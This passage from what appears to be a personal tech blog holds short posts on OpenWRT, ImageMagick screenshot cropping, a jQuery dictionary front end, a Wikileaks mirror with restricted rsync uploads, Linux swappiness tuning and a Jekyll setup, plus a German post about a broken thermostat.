# nvram commit
# ipkg install ntpclient
Interestingly, the signal strength and bandwidth throughput is better with OpenWRT than using the LinkSys firmware. :-)
Cut out window borders and application bars from screenshots automatically: note down some corner points (in Gimp), then use ImageMagick:
for f (*.png) { convert -crop 975x559+2+30 $f $f; }
Task done!
NB: This command replaces file contents. So when not
sure about the numbers, append some extension to it and view the
results first. Or, simply kepp the images in a git controlled
directory. That way, a simple git reset -- .
will restore your
previous images if you added them in the first place.
So some years ago I was what what one would call a Web Designer, doing CSS and XHTML 1.0 and that stuff. I got bored, however, and nowadays I hate these websites that are so over-styled and have so much JavaScript in there. I have been turning away from any web-related stuff since the times writing valid XHTML 1.0 was still "in".
However... today I tried this whole "Use JavaScript instead of regular links and reloads" stuff out. Friends of mine suggested using jQuery, of which I grabbed the "mini" version. (There have been some really clever code golfers at work to shrink the whole library down to some 77K. In that format, it's barely human-readable, though.)
jQuery is nice, because it doesn't have many JavaScript parts in it. The "usual" stuff seems to work by simply combining elementary jQuery functions, for which there's a great API documentation, and identifying HTML objects in a syntax similar to CSS.
So without really understanding how and why it works, I created a Web2.0-ish version of my kamusi command line client. Kamusi is the Kiswahili word for dictionary, and the program I wrote is a text-based interface written in Perl for the extensive database of words from http://kamusi.org/. Their web search, however, is very slow and irritating to use.
My hack-away implementation of a cleaner, faster search using jQuery
and a custom CGI to retrieve the results can be found at
http://k.plenz.com. Some sample queries you might try: -nia
,
bongo
or -pa
. Source code is availabe in the "cgi" branch on
Github.
This jQuery stuff is hard to debug, actually. (JavaScript in general is, IMO.) However, the syntax is pretty straight-forward. I do realize now why so many of these Web2.0 pages use this fading and scrolling-in stuff so much (and autosuggest, as well!). It's just plain easy and provides a feel of using a "dynamic application".
I can understand now why these Web Designers are so proud of themselves.
Since a day after Wikieleaks called for mass mirroring support I've been hosting a Wikileaks mirror at http://wikileaks.feh.name.
If you're curious how to allow to upload files via rsync, but
just to a certain directory with no possibility to access other system
parts, take a look at rrsync
, which should ship with rsync. On a
Debian system, simply do:
# cp /usr/share/doc/rsync/scripts/rrsync.gz /usr/bin
# gunzip /usr/bin/rrsync.gz
Now, I have this line in ~wl/.ssh/authorized_keys
:
command="rrsync www" ssh-rsa AAAAB3N[...]w== wwwsync@wikileaks.org
So any rsync mirroring command issued will have a $HOME/www/
prepended. Thus, the wikileaks upload script can only modify files
below a certain subdirectory. If you touch the file rrsync.log
, each
login will be logged as well.
Now, there are some 1400 sites mirroring the content now. How to access a random mirror, then? The German taz had a call for action page with a strange bash script which would always link to the first mirror in the list.
However, there are more clever approaches. http://wikileaks.de, for example, uses round robin DNS to display the cablegate pages of a randomly chosen host. However, there seem to be only five hosts registered yet:
$ ( repeat 100 host wikileaks.de ) | cut -f3 | sort -n | uniq -c
100 85.214.146.40
100 87.230.26.252
100 87.239.128.202
100 88.198.21.150
100 178.63.249.117
I just registered my IP to show up there. You can, too! (Be sure to click the "commit changes" radio button when you receive the confirmation link!)
Another possibility is to point your browser to http://r.whereiswikileaks.org/, which emits a 302 HTTP header ("found") and adds a Location header to redirect you to a randomly selected mirror:
$ curl http://r.whereiswikileaks.org/ -s --head | grep Location:
Location: http://wikileaks.my-niap.org
Some french guy made interesting pie charts about the distribution of the 1400 mirrors. German mirrors are most common (30% of all active), mirrors from the US, France, Germany and the Netherlands combined make up more than three quarter of all active mirrors. There are other vizualizations, too.
Finally, there's a site grouping wikileaks mirrors by netblock. Interestingly, more than 100 mirrors are within German ISP Hetzner's netblock (whose position on Wikileaks hosting had not been clear entirely during the first few days).
Today I fixed that annoying keyboard problem I talked about earlier. It was really simple: remove keyboard, clean contacts, put it back in.
Die vergangenen Tage dachte ich, ich sei zu blöde, um meine Heizung zu bedienen. Nun habe ich das Thermostat abgeschraubt und festgestellt, dass der Stift nicht raus kommt (je weiter raus – desto wärmer).
So eine Temperatur wie gerade in meinem Zimmer wünscht sich jedes Rechenzentrum.
Update: Ich habe die Heizung gerade mit einer Flachzange und etwas Olivenöl repariert.
My main work machine is a pretty old X41 with a 40GB hard disk and 512MB of RAM. It is more than five years old and is not without problems. (In recent months, I have to try several before switching it on successfully – in most cases, it just beeps twice and displays "Keyboard error, <F1> to configure" and the keyboard doesn't work.)
However, there's a thing which annoys me a lot: bad performance.
I use a resource-friendly window manager with some urxvt
s
running. Apart from the memory-hog Firefox, I very seldom use any
graphical application (ie. any program using the GTK or Qt libraries).
For some weeks now I've been trying this cgroups hack, with mixed results. In some cases, the performance is better, sometimes it's not.
How bad could the overall performance be, then? – Unfortunately, very bad. Which has, in part, to do with my slow hard disk. It does uncached reading with 18MB/s in theory:
$ sudo hdparm -t /dev/sda
/dev/sda:
Timing buffered disk reads: 56 MB in 3.08 seconds = 18.21 MB/sec
In reality, it's rather some 16.5MB/s:
$ dd if=/dev/zero of=./zero bs=1048576 count=256
256+0 records in
256+0 records out
268435456 bytes (268 MB) copied, 10.0246 s, 26.8 MB/s
$ time cat zero > /dev/null
cat zero > /dev/null 0.01s user 0.25s system 1% cpu 16.246 total
Now, I have to live with this (SSD's are still very expensive!). The main problem here is that the Kernel swaps out data that wasn't accessed for a while (although, from a naïve perspective, there's no ultimate need to do so since there's still free memory left).
I actually notice that with two programs regularly:
urxvt
for some time, opening a new one
might take up to 5 seconds; initializing the shell another two.Now I always thought this was the Linux Kernel being stupid. However I discovered a switch today. From the sysctl.vm documentation:
swappiness
This control is used to define how aggressive the kernel will swap
memory pages. Higher values will increase agressiveness, lower values
decrease the amount of swap.
The default value is 60.
Debian (like all other distros) seem to keep this default value. After
reading up on some articles I set vm.swappiness=0
in
/etc/sysctl.conf
. (You can do this interactively with sysctl -w
vm.swappiness=0
also. Interestingly, Ubuntu recommends a value of
10 for desktop systems.)
For the past day or so, I have been monitoring the output of vmstat
1
every now and then (especially the swap in/out parameters si
and
so
). But even after the first hour one thing is evident: the
interactive system performance is much, much better. It feels like
a machine upgrade.
Terminals open instantly (because the initialization parts of their binary doesn't get swapped out, for example). Switching to Firefox is instant. Switching tabs is fast. The system feels a lot more responsive.
Where's the drawback, then? If you could magically tune your system's performance, why wouldn't you want do that?
A case where this setup will give you a headache is when you actually do run out of memory. I easily accomplished that by opening Gimp on a huge (blank) file. Now, working with Gimp is easy now; switching to Firefox takes ages (heavy swapping). So there a not-so-agressive swapping policy would be better if you switch between several memory-hogging applications a lot.
(Side note: When there's a lot of free memory left – for example after closing Gimp – the kernel step by step swaps in certain blocks again, a few every second so as to not disturb system performance. I saw this going on for several minutes on a otherwise completely idle system.)
Conclusion: For the usage pattern I'm accustomed to, setting
vm.swappiness=0
actually is a huge performance improvement. But your
mileage may vary.
This is my first post with a custom shell script. It automatically adds a YAML header on top of new posts, starts an editor on it and later converts the title to a nice filename.
Eventually, the script adds and commits the new post to the git repo and pushes the result. "Recovering" is supported – sort of. ;-)
Which blog software to take? – Not a simple question to answer.
I had my mind on Ikiwiki for quite some time. I haven't got it working, though. After several tries, I gave up. (The problem had in part something to do with an outdated git version, which I cannot upgrade on the server without going through quite some hassle.)
I decided to use Jekyll now. As with other "static site generators", the documentation is pretty rudimentary (and largely not very helpful). After some hours of fiddling around, I finally found a way to integrate tags and a tag cloud. This blog post has been very helpful, although I had to patch the file. Strangely, also, Jekyll refused to load any plugins when calling it like
/var/lib/gems/1.8/bin/jekyll --no-auto <source> <destination>
To fix this, I set up git's post-receive
hook to cd
to that
directory first, and then call Jekyll with .
as source paramter.
Time for a quick listing of pros and cons:
pro
vim
with Markdown syntaxgit push
contra
The template mechanisms seem managable, though. As for security and speed, the pages are generated once (even for pagination stuff) and are copied as simple static HTML pages to the web server. This is nice.
In the weeks to come I might publish the git repo of this blog where my other git repos are at.
2011 is here. I will try to maintain a blog again. The last time I gave up because I had nothing to write any more (I thought). I discover, though, that a lot of people like to read what I write.
So I have a blog again. I'll post random stuff here. Might just be about UNIX tools; philosophy; math stuff; books I read; links I like. English or German, -- maybe other languages in the future.
Stay tuned. :-)